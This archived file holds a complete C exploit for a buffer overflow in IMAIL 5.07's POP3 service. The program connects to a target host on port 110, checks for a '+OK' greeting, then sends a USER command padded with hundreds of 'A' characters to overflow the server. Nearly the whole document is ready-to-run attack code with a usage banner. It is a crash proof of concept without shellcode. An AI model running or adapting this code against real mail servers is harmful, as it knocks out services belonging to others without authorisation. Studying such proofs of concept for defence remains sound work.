home *** CD-ROM | disk | FTP | other *** search
- Exploit (by Interrupt):
-
-
- /*
- * IMAIL 5.07 POP3 Overflow
- * By: Mike@eEye.com
- *
- * Demonstrates vulnerability
- */
-
-
- #include <stdio.h>
- #include <string.h>
-
-
- #ifdef WINDOWS
- #include <windows.h>
- #include <winsock.h>
- #else
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #endif
-
-
- #ifndef WINDOWS
- #define SOCKET_ERROR -1
- #define closesocket(sock) close(sock)
- #define WSACleanup() ;
- #endif
-
-
- char overflow[] =
- "USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n";
-
-
- int main(int argc, char *argv[])
- {
- #ifdef WINDOWS
- WSADATA wsaData;
- #endif
-
-
- struct hostent *hp;
- struct sockaddr_in sockin;
- char buf[300], *check;
- int sockfd, bytes;
- char *hostname;
- unsigned short port;
-
-
- if (argc <= 1)
- {
- printf("IMAIL POP3 Overflow\n");
- printf("By: Mike@eEye.com\n\n");
-
-
- printf("Usage: %s [hostname] [port]\n", argv[0]);
- printf("If port is not specified we use '110'\n");
-
-
- exit(0);
- }
-
-
- hostname = argv[1];
- if (argv[2]) port = atoi(argv[2]);
- else port = atoi("110");
-
-
- printf("IMAIL POP3 Overflow\n");
- printf("By: Mike@eEye.com\n\n");
-
-
- #ifdef WINDOWS
- if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
- {
- fprintf(stderr, "Error setting up with WinSock v1.1\n");
- exit(-1);
- }
- #endif
-
-
- hp = gethostbyname(hostname);
- if (hp == NULL)
- {
- printf("ERROR: Uknown host %s\n", hostname);
- exit(-1);
- }
-
-
- sockin.sin_family = hp->h_addrtype;
- sockin.sin_port = htons(port);
- sockin.sin_addr = *((struct in_addr *)hp->h_addr);
-
-
- if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
- {
- printf("ERROR: Socket Error\n");
- exit(-1);
- }
-
-
- if ((connect(sockfd, (struct sockaddr *) &sockin,
- sizeof(sockin))) == SOCKET_ERROR)
- {
- printf("ERROR: Connect Error\n");
- closesocket(sockfd);
- WSACleanup();
- exit(-1);
- }
-
-
- printf("Connected to [%s] on port [%d], sending overflow....\n",
- hostname, port);
-
-
- /* Check to see if we get a +OK error code. If so then proceed. */
- if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
- {
- printf("ERROR: Recv Error\n");
- closesocket(sockfd);
- WSACleanup();
- exit(1);
- }
-
-
- buf[bytes] = '\0';
- check = strstr(buf, "+OK");
- if (check == NULL)
- {
- printf("ERROR: NO +OK response from inital connect\n");
- closesocket(sockfd);
- WSACleanup();
- exit(-1);
- }
-
-
- if (send(sockfd, overflow, strlen(overflow),0) == SOCKET_ERROR)
- {
- printf("ERROR: Send Error\n");
- closesocket(sockfd);
- WSACleanup();
- exit(-1);
- }
-
-
- printf("Sent.\n");
-
-
- closesocket(sockfd);
- WSACleanup();
- }
-
-